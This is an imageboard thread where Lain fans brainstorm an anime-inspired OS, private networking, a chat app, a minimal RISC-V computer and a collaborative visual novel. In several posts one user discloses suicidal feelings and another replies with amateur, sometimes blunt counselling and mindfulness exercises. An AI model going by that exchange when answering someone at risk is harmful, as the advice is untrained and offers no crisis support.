My animation is coming along better now. I'll try to perfect this first frame before I continue with the rest though.

>>77559 have you heard about our lord and saviour logseq? it's a local and opensource knowledge management system with an http api and git support. so then, you could find stuff, dump the info into a page in logseq, and search from it the next time you feel the compulsion of googling your problems. >>77569 if you create a repository on github or codeberg, you can also add a wiki there.

>>77569 Maybe an OS on that scale is unrealistic for the time being but it might be more realistic to flesh out that library and graphics toolkit just for a foundation to rapidly build other projects on top of. >>77538 You know Copland is a reference to an old MacOS version so if anything the modern "NaviOS" is in a Macbook. Obviously we don't want Macbooks. And why put so much effort into an OS inspired by an obscure anime show? I think it lacks creativity and limits us if anything.

>>77593 Then for a passion project, where else would our inspiration come from if not Serial Experiments Lain? I’d personally say that copying something that you immerse yourself in and want rather than getting hung up on whether it’s creative ‘enough’ is definitely a better way to experience and explore our interests rather than forcing ourselves to ‘express ourselves’. Of course, if something more objectively creative is a thing that we find ourselves to be immersed in ultimately, then we should definitely go with that. In the end, we should definitely list our various inspirations to get a better idea of what sort of thing is our ‘calling’, in relation to something technology related.

>>77572 Forgot to mention, but I’m working on it.

>>77598 It's about maintaining the same innovative spirit that originally created the software we love. Why didn't Mac copy Window's design? Why isn't MSDos a UNIX clone? If it's inspired from some niche fiction it will never be taken seriously. If it's inspired from something that already exists then there's no point in re-inventing the wheel. >>77572 Mind explaining what "Groom-project" is?

>>77593 SEL isnt even obscure just older. It literally aired on several channels in the US in the past. Also dont fix what isnt broken. Why most open source projects fail to be good as proprietary even when they have financial backing is because their terrible design from trying to be different while simultaneously having zero design sense or vision because it is all coders and no one designing layouts of anything by itself which is a completely different skillset. While on the topic Apple actually had open source code for the core Unix OS used in their other operating systems like Mac OS and IPadOS, it's called Darwin. Nothing special about it im aware of though.

>>77601 >groom-project i searched it up, do you mean that european underwater gliding thing? i'm not sure how that's relevant to logseq and codeberg.

>>77605 In that case, we should just focus on our own vision, and if it's necessary/sensible to use reference from already existing designs and product, we may as well use them to skip as many middle mans that we can without sacrificing anything from our initial vision. As for what we want to do without rushing to a decision on what our main vision is, but also not taking so long that this thread dies out due to overthinking prerequisites, we should focus more on pure sources of inspiration for us that leads to an aim instead of planning what's 'worth' our consideration. A more childlike/free-spirited approach if you will. An example for finding this shared vision can be seen from the following: I'm inspired by Honkai: Star Rail's "genius society", and I would love to go on an adventure of doing things at an otherworldly degree, like going to another solar system within my lifetime (or even during my youth), so I chase the stars step by step by studying all things STEM related first. Like I said, our shared vision can come from the common interest in SEL, but it could also come from other places despite us all being part of the Lainchan community.

>>77605 SEL is still an anime, who's going to take an anime-inspired OS seriously? And if we're not willing to try new things what's the point? I think the Linux Desktop is already broken. >, it's called Darwin. Nothing special about it im aware of though. https://en.wikipedia.org/wiki/Copland_(operating_system)

>>77617 Who's going to take anything made by any imageboard seriously? Yes I am aware of Copland. It is possible Copland also had a Darwin base or something similar but it is hard to speculate.

>>77618 I wouldn't advertise it as some image board project. It can just remain deeplore that the original developers originally found each other through an obscure online forum.

>>77617 I don’t think it should be taken seriously. Our projects are personal for those whose attention is fully immersed into the world view of our shared inspiration. However, there’s a difference between liking something and finding something personal, and in order to change that halfheartedness into a wholehearted relationship, this can be best managed for ourselves and onlookers the like by making t what we do here into a ‘private life’ vibe scenario atmosphere wise. We shouldn’t get too caught up on the specifics of how this aspect of human nature works, the development of personal relationships from a technical perspective, and instead we should just consciously decide to do so intuitively by paying attention to the things we want, regardless of where that want comes from, (Like an anime or a significant memory made in the real world). Hopefully that clears things up if you read it slowly.

>>77514 that's a valid concern, however the 1% has made it so all the wealth in existence flows back towards them, and annihilated the last vestiges of any 'middle class', so 'making a buck' is not off the table, as it is a requirement for most of us, nor to be confused with pyramid schemes. enough has been brought up already to show we're concerned & mitigating narrow short-sighted visions. >>77515 that's absolutely correct. with decentralized (super)computing, anything that is possible on digital ocean, aws, azure etc. or other clown services, are now being brought online without any central authority. caution: the ethereum blockchain is still completely exposed, public facing, snooped on, so it is not private. >>77559 universal addressing solves this. give data a permanent fixed address. i'll keep watching thread but i'll also be in #lainarchy if anyone wants to chat & solidify notions

>>77626 I don’t think we should be solidifying notions just yet until our visions are no longer short-sighted and are deeply personal at a significant degree, like a ‘chosen one moment’ or shared calling. I feel like anticipating to go to the same university would be a cool aim on the broader spectrum, since zooming out even more into the grand scheme of things, our lifestyle could end up being similar to that of the friend group of Steins;gate or the people that make up the “Genius Society” in Honkai: Star Rail, which ultimately has a lot of potential for adventure and the creation of much more significant memories, which is what I personally like to give more attention to. Of course, there are sensible considerations such as gaining financial freedom that needs to be included as a goal for all dreams/vision in the world we live in today, but that shouldn’t mean that we undermine our value for things to do with our very destiny. We need to take into consideration our limitations but not let those limitations turn into concerns that distract us from the things we actually want to pay attention to, our passions, our whole purpose for having any of these prerequisite goals in the first place.

>>77622 I just want to make sure it's a good time investment. How will it be successful if it's not taken seriously? If it comes from fiction it still seems fake and limiting. It goes against the original spirit that inspired those things we love. As for our vision, I'm not sure what you mean by "Lain"-inspired. There's little presentation of the "Navi-OS" in the show. It seems like you're just filling in the blanks with what you personally think of a retro-futuristic OS would be like. Y2K for example was an expression of a more optimistic time. Now it only represents nostalgia and escapism with obsolete hardware. I love Y2K and if I made an OS it would resemble that. But I'd move things forward too. It wouldn't just be limited to my love of Windows 7 through rose-colored glasses. It would be fulfilling their original optimism with modern compatibility and tools.

>>77630 Im not that Lainon but as previously mentioned it is already an existing but stagnant project so there was some idea already going around. The idea was voice commands and stuff like being natively in the OS i heard as one of the thoughts in past. You actually see more of the interface in the PS1 game. Personally im not too into voice commands because i keep private what i do from others near by. https://lainos.org/about If you want to do more could have DIY brain to computer interfaces via a simple EEG device for neural feedback training too and could make it so all network connections can be set up to only use a VPN, TOR, I2P and maybe even make our own routing system inspired by Apple's iCloud Private Relay which the design makes it faster than TOR and while it doesnt anonymize as much it does do some so more usable for normal browsing ive heard but of course the concept could be improved to make it at least as good as a VPN if not better but might be able to work in features of others. And make everything RISC-V ready. The NAVI itself is a reference to what the then CEO of Apple John Scully envisioned the future of computers and the internet the "Knowledge Navigator" which as you can see is basically the voice command and AI stuff we have today. https://www.youtube.com/watch?v=l35OGt96zuQ

>>77630 I don’t think inspiration taken from fiction automatically discredits the reality of it being a genuine possibility, so although it would be bad to advertise to those with a dogma against those types of inspirations, they aren’t our main concern since the only people we need to convince is ourselves to make it happen. Once it literally exists, there’s no doubting that its potential is grounded in reality. As for bringing back the spirit of y2k and not limiting it to the single reference point of SEL, I agree with you that we need to be less rigid in when it comes to defining what gives us that ‘nostalgia’ that we seek to bring into our present experience of what atmosphere y2k held. Maybe we can use art and music from the time to better immerse ourselves, like the good old days of true nightcore (which to me has a very similar home-esk ‘nostalgic’ atmosphere to it), or video game cover art like Gravity Rush 2 and Disorder 6, or even classic WOW or minecraft. As for what all of this nostalgia means when we make plans on what next step to take to make the ‘good old days’ no longer “old”, I think that there needs to be multiple perspective considerations to be promoted for our community of developers, but also an entire lifestyle change. Let’s say that back then, most of us who experienced the peak representation of the era was during a time where we didn’t take our future seriously enough to care about success and freedom, because simply existing was enough because we didn’t know any better. To not be burdened by the knowledge we have today, and immerse/escape into the same free-spirited perspective of that time despite the post-modern condition, we have to separate our private and public life once again (at least that’s what I would need, the solution could vary depending on the individual’s unique perspective related problems), and that’s what will give us the grounded, truly clear vision of what it is we want. Entering that state again (temporarily unfortunately, for now), what I pay attention to within the y2k/free-spirited perspective is mostly comes back to that private life that chases/explores any sort of inspiration that stems from something I would have significant memories developed towards and in turn have a personal relationship with it. I’m going to go around in circles at this point, but the best thing to do instead of worrying about financial security from the start should be instead developing that personal relationship through the willingness to be inspired. Having the project be self regulating and funding is only a natural step that will be taken and planned out AFTER the vision is clear. So please list your inspirations or thing that you would LIKE to be inspired by. If it’s significant or hyped up enough, that energy should be contagious to the rest of us so long as we too hold the same free-spirited perspective.

Man… I’ve been trying to boot Linux for over a month now. I talked to 3 different service providers, a Russian computer science student in Dubai, and a technician who is well versed in booting Linux who recommended a battery change since the model required a unique battery specifically for accessing the BIOS, but still every time I try to boot my USB that has the Linux Mint ISO flashed inside of it using Etcher AND Rufus, all that happens STILL is the laptop bringing me back to the regular window’s login screen!! I JUST WANT TO USE LINUX FOR THE FIRST TIME, NOT BECOME A FIRMWARE JUGGLER!!! … Before posting this, thankfully I found someone with the exact same model laptop, so wish me luck in trying to copy his success and MAYBE be able to FINALLY use Linux Mint.

>>77641 What brand laptop are you using? There is a special button to access boot options that allows you to choose where to boot from, in your case it would allow you to boot from USB. Then from there you can install linux. For example, I use HP, as soon as i switch on my laptop, i repeated press F9, which get to the boot options, then i select my USB.

>>77643 I’m able to access all of that, but as soon as I select anything, even the usb I want to boot, it just brings me back to the windows login screen.

>>77645 Perhaps, linux hasn't been properly flashed onto the USB

Since it is unlikely anyone will agree on any project why not just do multiple projects that are meant to collaborate with each other to make everything meld together in how everything operates and aesthetic compatibility? Also make use of the different skillsets of people found online like artistic skills, interface design skills, programming skills, security knowledge, music production skills (like for sound effects if any needed or something), tech history knowledge, and DIY skills. You could build a routing network that could optionally work on just a meshnet + an operating system that works with that routing network to be part of the framework for our Wired + a VR program that can run on this operating system and this system has VR headset compatibility and the VR could have additional features of making an alternate interaction with files on the OS + a security and privacy focused browser with it's own web engine so not everything is as much Microsoft, Google and Apple controlled, maybe take some design cues from OperaGX? The browser should also bring back custom cursors on pages as an optional setting to allow so old websites can be viewed as intended. I also think there is a dire need for a Discord copycat that is security focused like Element but lower resource uses than any of those and not based on Matrix since ive seen complaints on Matrix security wise and some people question who is behind it, and not built on Electron how Element is since i have seen complaints on that too. Maybe XMPP based or get ideas from SimpleX Chat ? Whatever /sec/ can agree on. Could use some of Mumble code for good audio quality on calls. Also needs to have video call function too of course. Also not make it same soykaf as Discord how it is so focused on mass group servers because these servers are what is killing many forum spaces online id hate to have it contribute more but if it is what is required to make an app popular so you dont have to choose between security, privacy and actually having friends to talk to that isnt limited to a tiny niche community of paranoid schizophrenics then i guess it cant be helped but dont start with it in there. That too could connect to the routing network project so when you talk to people you have an option to avoid them getting your IP address recorded. .....maybe this all is too ambitious ? IIRC there is one Lainon in /diy/ with a thread about having a bunch of servers asking what to run on them. These could be used for some projects.

don't get overwhelmed that its not all coming together perfectly all at once there's a technology i've been working with very seriously the passed year that can (and will, and has) solve all these problems, i just don't want to derail the thread on something which i don't feel like sharing yet... i like the idea of division of labor... like i said the next 3-6 months i'll be putting together the handheld gizmo parts along with my rudamentary HMD. i'll post the schematics for anyone who wants to follow along, and i'll 'code' it and share that or whatever, since i'll probably have to, but... that'll be going on to give people ideas. so-called 'education' teaches us that we need output right away, but what is the deadline? allow time for input and digestion. most people, 95% of people alive today, are never going to know what an 'idea' even is, and are functionally illiterate. we're working with ideas here, so lets be caring and if they're going to manifest anything, let them blossom into something on their own. some other inspos are terry gillam films and naked (1999), so i guess it could be summarized as turn-of-the-century exposees, i love when the facts are laid bare and the viewer is left to deal with the rug pulled out from under them. exposing the circuitry, how the thing works, is typically something people don't want to see. they want the "GUI" not the messy code underneath that makes it run. 'do not pay any attention to the man behind the curtain!' i'll be there, at the end, as the garbage collector, always, stewing, conspiring with the demiurge to use the ashes as seeds for the next cycle... with the power of 11 rudras on the final judgement, but, it'll be a nice experimental journey to see how we all get there together. i like probing those uncomfortable areas that 'must not be, yet are', but i don't expect everyone else to. that's my particular niche.

>>77649 Myself I just dumped my ideas I had going for a while in this thread because I dont know how to program currently or design electronics only having mild experience in Visual Basic and C++ and did some basic circuit building from simple schematics long ago in school to which has slipped my mind how to do these things and I was considering learning some day but I am far too close to killing myself to have the time so thought id risk dumping the concepts even though I fear people will adapt them not in the way I hoped for which would mean the ideas go to waste.

>>77651 Wow, are you alright? I know telling you not to give up hope in general isn't enough to fully convince you all of a sudden to have a mentality shift, but please have the open mindedness to understand that just as anything bad is possible, so is anything good. If you feel like there isn't any hope and you're more focused on paying attention to the end of life, you should at least have some memories in your life, no matter how short, where you paid attention to something that made you want to keep going or even more than that. You may be experiencing things this way for now, but it isn't forever. That alone should be reason enough to keep existing at the very least until the day comes where you truly live your life IN THE WAY YOU WANT TO.

>>77647 I agree with you on every surface that this is a great project idea, and that we should be focusing on working on it at some point. After a discussion with my family however, I realized that when it comes to grounding a vision, it comes from also preventing the distractions of other great possibilities from getting in the way of seeing at least one of them through to success. So, at least for me and my current inspiration that has shifted yet again as it typically does, I at the moment want to make a visual novel. I may get distracted again in the future, but it takes practice and incrimental returning back to these projects and skills that are being developed before I can see the fruits of those labors. I'll try to ground this personal vision myself, and if anyone wants to share this particular passion project vision with me, to make a visual novel that's on the same level as Steins;Gate, Fate Stay/Night, and Dies Irae, then I would love to work with fellow fans of the art-form. The ideas listed to do with technology with Operating Systems, networks, virtual reality, and many more have all been great ideas for us to connect to, but for me personally, I think making a video game like this (although less important in the grand scheme of things) is just more significant to me, so I have to make a decision to doing so. So, I guess I'm going to put my SEL animation on hold for now and go back to it later, and as for me creating an OS similar to NaviOS after gaining computer science experience on Linux Mint, I'll put the issue of booting to future me. Wish me luck! I hope this time inspiration is wholehearted enough to be truly devoted and unwavering to any distractions or tenancies of my unfortunately developed bad habits. [I'll still be in this thread though, since I would like to share my own project's progress to prove to you all that I can overcome my own challenge of staying inspired for long enough to the point that others who get more interested overtime as a consequence of those updates to possibly feel the reassurance needed to work with me on the visual novel as well.] :)

>>77653 No Im not alright and it has been forever for me already consisting of nearly my entire life. You can occasionally see me in the vent thread in /hum/ but I never really divulge everything since Lainchan went downhill after outsiders ruined it especially on that board so I feel id get responses that would make me feel even more down. I get a little out of trying to help people online with projects and personal issues so I just hope i was at least some use over the years. I dont want to derail here more though. >>77655 Have you played the PS1 game for SEL or at least the online remake of it? It is basically a non linear visual novel in a different game form because it mainly consists of text files, audio files and videos telling a story with some extra info thrown in to make it open to interpretation. If you do a Visual Novel at least make it one with some short animation in it, some voices, music and a little bit of interactivity beyond branching storyline since those are more interesting.

>>77657 I don’t want you to think that I’ll be persistent and cross your boundaries, but please listen to what I have to say, and I promise I won’t push any further unless if you leave your reply to this open ended. I’m sure that the reason, no matter how subtle, as to why you feel even a little bit better by helping others with their problems instead of your own is because there is a ‘want’ you still have in there for having a genuine connection. I don’t know exactly what conclusions you have reached being you your whole life, but in the end, your very nature despite what you believe yearns for things it wants. You can even ‘want to want’, that in itself is still a want. You may want to die, but that’s because you lack within your current experience a higher desire. Pay attention to the things that you want to want, and direct it in towards the things that make you forget about yourself because they matter more to you THAN you. This isn’t cope, this isn’t mental gymnastics, I’m just trying to help lay out practical steps on how you can use this advice to actually get closer to experiencing things in the same way as your ideal self. I know it is like kicking dead whales down the beach to share these things with others, because maybe you won’t get the answers you seek or maybe you’ll even regret it later, but you may also find something that could actually help you. So, please keep trying, and I’m always here to listen give my help to you too. If you want, we could both have some fun even by working on the same project, after all, I’m sure you’d like to fulfil that desire of yours to have a genuine friend. … Now, as for what I have to say about the other thing you said, no, I haven’t played the game, but I have heard similar explanations about those mechanics from others. I would like to have music in the game and voice lines if possible, so I’m going to save up my money over the course of this project in order to hire VAs and try to make some music after majority of the art is made. I don’t really care much for using AI art unless if it’s for inspiration, since this is a passion project after all rather than a fixation with efficiency, so I’ll be drawing most of the art assets myself and with anyone else who wants to join in regardless of their skill level, (any stroke made on the canvas is a step closer to a masterpiece).

>>77694 >I know it's like kicking dead whales down the beach WTF?? This is the most INSANE autocorrect I have ever SEEN! I'd meant to say "I know it is like kicking dead whales down the beach...". How? HOW?!

>>77705 BRO! This has to be a prank from the devs or something… The correct phrase I used in the image, and the word that keeps autocorrecting is underlined.

Sounds like a dream out of reach. I cannot see this happening sadly.

>>77694 > there is a ‘want’ you still have in there for having a genuine connection. Yeah I know but at same time it is something I want to avoid to avoid being hurt more whether it is someone leaving me intentionally or something happening to them > you lack within your current experience a higher desire I have higher desires just I always never achieve or get let down and let others down whether it is interpersonal relationships, self expression or inventing something helpful to people in need. > If you want, we could both have some fun even by working on the same project, after all, I’m sure you’d like to fulfil that desire of yours to have a genuine friend. Thanks but I am more of an idea kind of person since i havent honed my skills from my wide interests makes it so i never had time to get good at any one thing and lack too many resources currently to work on stuff so i am more self working because of that. Plus my whole emotional distance thing. Im fine enough. > kicking dead whales down the beach That is just one of the word filters by the way. It is meant to mean something is unpleasant and difficult. I am not sure why it was added. Some filters are to keep away certain types of people. > I would like to have music in the game and voice lines if possible, so I’m going to save up my money over the course of this project in order to hire VAs and try to make some music after majority of the art is made. You can sometimes find VAs in odd places sometimes ive found name of one on a less popular image booru type site i forgot which of, but she tagged herself in vids she voiced and had her info for her website with her contact and her prices.

>>77789 This struggle to remain unaffected/uninfluenced by malevolence is something you will have to overcome if you wish to remain true to yourself. You seek a GENUINE relationship, but it hurts you or numbs you so much when it doesn't go the way you wanted it to that you choose to stop trying all together. Giving into malevolence and becoming hopeless, feeling like the things you truly want are impossible even though anything IS POSSIBLE is something that leads to a confusion as to whether or not you can distinguish the difference between cynicism and realism. Although trust should be earned, for the sake of your own desires to remain possible for you, you need to make it so you can at least identify the type of person, place, or thing you wish to place your faith into and let go of your defences in order to have a 'home' where you can be your true self easily. This not an easy thing to bring back to your default state after micro or macro traumas, but keep hoping, for that is always the first step. I'm glad that you said that you have greater desires, and I'm also glad that you can make the decision to realise that you need to handle your resource limitations sensibly, but that doesn't mean that you mustn't have a single moment in the day to truly enduldhe in your downtime. You need to have a private life, a home, a moment where you can let go and be yourself, otherwise, of course you'd be depressed. This is actually the main purpose of this thread actually, by creating a shared vision, I was hoping me and others within the same niche could make a pesudo-home as a result of this second step after hope of developing the necessary faith in our inspiration(s). To become devoted instead of logically obsessive. Devotion is what's needed in order to have the relentlessness you also alluded to seeking, since if you had it, you'd have the developed skills you believe you should have in your life. ... And speaking of skills, I too lack the professional skill set in order to make a visual novel, but that's besides the point, it's a passion project, so our only responsibility is to strive. Once you feel like you have the free time and wish to spend your downtime dedicated towards a passion project as you rest from your duties to sustain yourself financially and regular work life, the doors are always open to have some fun together to make a dream visual novel :)

>>77794 I was planning on doing a visual novel too, it's probably one of the best projects for beginners in game dev because what I see the most is cool concepts but bad execution mainly because most of indie devs focus on learning programming more than learning art, and that's is my main skill issue too. My project was more focused on how control could be used harmfully even by people who initially were good, but by lack off understanding made things worse, the time of the events are around 1800, so no tech. Doing a visual novel by myself is hard with no experience, but working with you I will probably refine my skills for a later project, so if you need help I can see if I can help you.

>>77797 Wonderful! I prioritise story above all else. Thankfully I am very confident with the ideas I have in my head and my skills to write, so I'll be working on creating the narrative beats in a shared google doc for anyone who wants to check it out, and they can also add their own notes as well for what would be good for the story. I'd like to get the core ideas out of the way as soon as possible so that way we can get to working on creating and implementing concept art. We can show what initial sketches we make here and in the document, and we can exchange discord users on a page in the document as well - unless if there is a better communication application preference from the start. I'll try my best to write something as spiritually teaching but overall immersive and entertaining as ones that become anime franchises later down the line, such as my inspirations. I'd be more than happy to hear what sort of other inspirations other people would like to have be put into the game. PS, just keep in mind that the story writing phase is always slow, which is why the most I can promise any sort of drawings to be worked on at the start are concepts.

>>77804 Keep in mind, a visual novel consists of around 4600 art assets, most are of course duplicates with slight variations, and the time spent on each piece is dependent on the skills of the artist or cleaner. Ultimately, the more hands that have taken on the art asset responsibilities that have been delegated to them, the faster the overall project is complete. By myself if I were the only one making this, which I'm fine if it is, would take me about 860 days to complete all art assets if I drew 1 art asset every 4 hours for 3 times a day. The reason why I'm fine with committing that much time to a passion project is because I honestly want to train myself to have as part of my default state an unwavering attention towards the things I feel to be my calling, and this is one of them, (and I won't be distracted by the other desires until this far more important one to me sees success).

go on alice, weave us a tale, i'll sketch and if we have a 'pencil' / inker / colorist that can keep up we'll bang this out... idgaf we'll make something stick on this godforsaken website. also don't put my contribs into a google doc thanks

>>77809 > don't put my contribs into a google doc If that's what you want, then sure. >go on alice can you send the link? I don't know what that is.

>>77794 It's just being alone in the world unaccepted and left behind there isn't really anything of value left without shared experiences of deeper meaning. If that makes sense what I mean. >>77806 A lot of VNs use edited photographs for backgrounds probably for that reason. >>77810 I think that Lainon was calling you a friend. Alice is Lain's friend. Since I doubt what was meant is Arisuchan when it's an archived site.

>>77811 >that Lainon was calling you a friend. Alice is Lain's friend. Oh! That makes sense. It's touching. >being alone in the world unaccepted and left behind there isn't really anything of value left without shared experiences of deeper meaning. I see, but perhaps there's a more important question you've neglected to ask yourself. You know what you want, you know you don't have it, and the world isn't doing anything to give it to you. So, your destiny that you seek to fulfill can only come about from your own hands. Tired or not, identified with your own pain or not, that fact remains the same. So, as blunt as I can say this even if it makes you feel worst temporarily, you need to stop indulging in your addiction, your comfort, to believe that you're a victim. Although having a believe is better than none, if the belief is creating a world view that limits you from achieving your ideals (in this case about having the hope to develop a genuine connection with something), then you have to focus your attention elsewhere and learn to 'move on', even if your lifestyle is the same as the one where your previous identity came to be.

>>77809 I just made the google doc: https://docs.google.com/document/d/1aaQaWCBU8huZ66eV70NS3FYRGO1pDfTrvCW848bGkZM/edit?usp=sharing It has editor access, but don't worry, I made a backup document in case if someone with chaotic tendencies decides to interfere, lol.

>>77813 >your destiny that you seek to fulfill can only come about from your own hands Maybe for things that dont involve other people but most things meaningful to me involve other people. > your addiction, your comfort, to believe that you're a victim. It's not even that since I had been trying hard for a long time and something always came up interfering progress and now opportunities are gone and I am worn out and tired of getting nowhere with what feels like no where left to go. All I have left is to just moderately amuse myself in solitary. >>77814 There are Open Source alternatives to Google Docs. I havent used any personally but OnlyOffice seems one of the higher ranked collaborative writing things on Alternative.to http://onlyoffice.org/

>google doc absolutely evil. use etherpad, onlyoffice or simply a git repo, why give material to the datamining corp?

>>77815 > I am worn out and tired of getting nowhere with what feels like no where left to go. All I have left is to just moderately amuse myself in solitary. Then why not give your burdens to someone else who wishes to carry you? Putting it that way sounds strange and you would naturally have many counter arguments in relation to what you have already said, but here me out: If you let go instead of give up, you'll be at the mercy of both the good and evil in your life. You're tired because of your circumstances, you haven't been able to let go around someone or something good that you can rely on. As for whether or not there is someone there who you COULD help you let go around, you aren't letting go, that's the problem, and you're the one who is supposed to make this decision, others can only inspire it. Even heroes who save the world have heroes of their own who they cry on the shoulders of, unless if they don't plan to save themselves despite saving everyone else (as you mentioned yourself to do.) So, even if you haven't met your soul mate, god, your best friend, or someone else who matters to you, you must place your faith in the things that you know matter to you. >feels like no where left to go It doesn't even have to be a person. After whatever duties you have in the day (if you have any), you could come back home and 'let go' in the presence of the hobby you have a personal relationship with, like anime, drawing, or gaming, because it can matter just as much as you'd expect only another person could provide for you - so long as you allow yourself too let go, that's the main point. Instead of convincing you logically, at least try this and then come back to reply after experiencing firsthand what it's like to truly live your life in the way you truly want: In a moment of downtime, turn off your thoughts, put your identity to the side, revert back to being your true self before all of this build up of malevolence and conclusions began to shackle you, and enjoy your private time by indulging in something you would like to develop personal relationship with the first time (like a new hobby) or AGAIN (anime, gaming, etc). Create SIGNIFICANT memories while in that purely observational state, so as to make the whole practice easier and more instinctive to enter that state more easily. You'll find that you'll probably have to try a long time as you are now before you're able to properly let go for a time, and you may even have the tendency to get hung up on trying to figure out how to do it rather than simply doing it, but I assure you, the more you become sensitive to the things that are happening TO you, the more energy you'll have and you'll no longer feel like giving up. This is because with enough significant memories created and personal relationships you develop to be your true self around, the more you'll end up feeling like the main character of your own story,(which is as good as being the main character and has the potential to be as grand as the main character in the grand scheme of things.).

>>77816 We're making a visual novel, not The Bible. I don't think I'll worry too much about cyber security until after I'm done with this and wish to move over to the whole network/vr project thing. Of course, others here could start taking on that project themselves now if they want, I just want to make a visual novel for now though.

>>77818 > let go instead of give up What is the difference between letting go and giving up? To me giving up is more when you try to stop wanting what you wanted and letting go is you want it but dont try as hard and focus on other things too. Ive alternated between these though never fully gave up since i still care just trying to deal with things as is. > enjoy your private time by indulging in something you would like to develop personal relationship with the first time (like a new hobby) or AGAIN (anime, gaming, etc). That is sort of what ive been trying to start more recently and it is what made me get ditched by another friend who accused me of wasting time. >>77820 I think the argument was on supporting an evil tech company by using their services to their benefit while others are available.

>>77822 >What is the difference between letting go and giving up? >letting go is you want it but dont try as hard and focus on other things too. Although a consequence of letting go is is the ability to pay attention to more than just the things you're initially focused on, that doesn't mean it must comes from the UNDERMINING of the things that you initially focused on. If you were to think back to moments in the past where experiences were most vivid, they may have been during moments such as school holidays, excursions, birthdays, Christmas morning, etc, then you'd find that those vivid and sensitive experiences were only possible because you allowed for things to happen TO you without controlling your reactions to them at a currently subconscious layer. To become conscious about these self controlling tendencies, you have to first experience what it's like to be absent of it. So, practice this: Right now, sit in silence and stare at your hand that you place physically in front of you, and then include your peripheral vision into what you are paying attention to. Notice that this moment, RIGHT NOW, is happening to you FOR REAL. The difference between dissociation and vivid immersion with whatever happens to you as a consequence of the real world, imagination, media, etc, is how much you let go, so let go of EVERYTHING. There are layers to what is held onto, and at least from what I've been able to identify, it consists of the following categories that hold a person back from seeing things simply the way they are: Assumptions, Associations, Intentions/Discriminations, and Expectations. If you let go of these limitations, no matter how technically repetitive your life may be, it'll all feel as brand new and significant as it all would have when going through those things for the first time! So, if you were to make this highly sensitive and observational state as part of your default state, you'll be able to be your true self. >and it is what made me get ditched by another friend who accused me of wasting time Then all I can say is that they aren't a genuine friend. It's unfair when that happens, but not everyone is that way. You should find a friend who accepts you for who you are without their own ego getting in the way, without their own things that they hold onto getting in the way. In this case, it sounds to me that it was discrimination that prevented them from being able to see YOU for who you truly are, and for that reason, they lacked the 'presentness' needed to have a genuine relationship with you within their experience. At the very least, you should remain true to yourself, and maybe by doing so you'll attract those who are similar and untouched by ego and malevolence. PS, what I mean by ego isn't any sort of idea that's taught in books, I'm just using a word that I personally use to say internal corruptions apart from fear/insecurity/malevolence.

>>77814 I'm on my way to check the provided references that I'm missing, that way I can understand better your whole idea

>>77820 >I don't think I'll worry too much about cyber security until after I'm done with this That is a selfish attitude. Whenever anyone of us clicks that link & we happen to be logged in to the goog somewhere, there is a permenant record of us having accessed it, tied to our real names probably, so good going. Also idk if this is the same lain, but don't give up on an animation after completing 0.05% of the first frame of an animation.

>>77834 I haven't exactly mastered Wu Wei. Kind of hard to get to where you want to go without trying, even though trying also seems to go nowhere whether it's in life or even just honing a skill for projects and knowledge on interests. Unless I am misunderstanding what you mean and how that ties into mindfulness you seem to be describing. It seems like everyone gets that way in time unfortunately. Before I forget. You can try and use this to make randomized music. Helps with inspiration and i sometimes get results that sound like VN or retro game music https://tones.wolfram.com/

>>77841 Oh, I see what you mean then. I didn't mean to do something that neglected others. I'll make another link with what was suggested instead even though I'm more comfortable with using google docs. Also, yes, I'm the same Lain, lol. I don't know what else to say other than the fact that I did give up on the animation for now. >>77842 No, I'm not talking about Wu Wei. What I explained to you was automatically associated with what you think you already know, and association is part of that internal corruption. It's fine to connect dots for the sake of understanding, but you shouldn't be relying on those connections to function. Your mind is a tool for you to use, and bringing into your perception that it has distance from yourself is what helps you remember what your true self is. The same principle applies, that when things become absence do you begin to notice them, and that can apply to the absence of your educations/corruptions as well. >it seems like everyone gets that way in time unfortunately. Not at all. I just happened to have been you before, but there are plenty of people who have been able to remain pure/true-to-themselves, or even those who see the stage that your at in your life as 'nothing' in comparison to what they've grown to be aware of, and all I have to say to you hearing that is, so what? In the end, the details are just details, but what does it matter to you this comparison? Stay on track by knowing what you want, and don't get distracted by the conclusions you could make that's are only true from a certain perspective that you don't even want to HAVE in the first place.

>>77838 I’m glad you’re excited :) You’re hyping me up too! PS, you don’t *have to* watch everything I list if that’s what you’re doing. You can just get a feel for the character archetypes by watching an episode or a single movie from the franchise to get a feel for the main characters or side characters mentioned. Some do need more than a single episode or movie’s worth of investigating, like the otherworldly presence characters in human form, but that’s up to you if you wish to understand for yourself.

New user here, I do have something of a dream or a vision that might be relevant. The concept is simple, but the execution will probably be difficult and time consuming working by myself. What I'd love to build is a true personal computer. One where the hardware, firmware, OS, language(s), and included software could be wholly understood by the operator, with no external dependencies. This will require simple, preferably inexpensive hardware - probably a RISC-V SoC or even an FPGA acting as the CPU - with an OS built from the ground up to be easy to learn and just as easy to modify, bundled with a set of useful applications that don't require internet connectivity. Networking and internet access could come later in the development, if only a simple P2P text chat to share ideas, code, and programs with other operators. It's a big task, huge even, but it might be achievable, and the OS/application side of things can be bootstrapped once the hardware is settled. I'm in the process of learning programming and electronics, once I get a handle on microcontrollers and assembly I think I'll be at a point where I can start on a V 1.0 of this dream - the computing equivalent of a quiet cabin in the woods.

>>78127 Doesnt seem like there is a point in doing that if it isnt even connected to the internet unless you just want to do so purely for learning. RISC-V kind of isnt that great right now but not useless either.

>>78128 It will be a huge learning experience, sure. One that should be shared and hopefully enable people to create beautiful software without having to dig through 40 years of entrenched industry bullshit. >RISC-V kind of isnt that great right now but not useless either. In what way?

>>78133 There have been a couple laptops (and SBCs) built around a RISC-V SoC released recently (or soon), but their specs aren't that great. Some of them are rather cheap though, so they're still competitive. MuseBook (cheap), DC Roma Laptop II (overpriced) and Banana-Pi F3 (≈RPI5)

>>78135 In terms of hardware for this concept, anything more than a single core, 64 bit, 1GHz CPU of any given architecture is a luxury.

Reading this thread its not only fun but inspiring..! :D Some skills I've been at least trying to develop building/design electronics, music, computer hardware. And a random ideas to put out there is an analog synthesizer circuit with the one purpose of emulating the power line buzz from lain (two ramp waves at 120hz detuned + noise + filtering ) Ideally put in cool custom enclosure with some lain art. I actually started this one but gave up a while ago.. got pretty close tho so thinking of giving it another shot. >I also think there is a dire need for a Discord copycat that is security focused >like Element but lower resource I agree. I almost wonder something low tech (say for example a telnet or ssh ANSI BBS that have been coming back recently) for just messaging.. And then using that can coordinate some higher level function (say some opensource voice or video protocol/software) .. But I agree there is really a need for simplicity and maybe it would make more sense to build something light and all-encompassing. As far as ultimate visions I just have a vague "something good for the world using technology" community counterculture spirit that although I know what inspires that I can't really define it well enough lol!

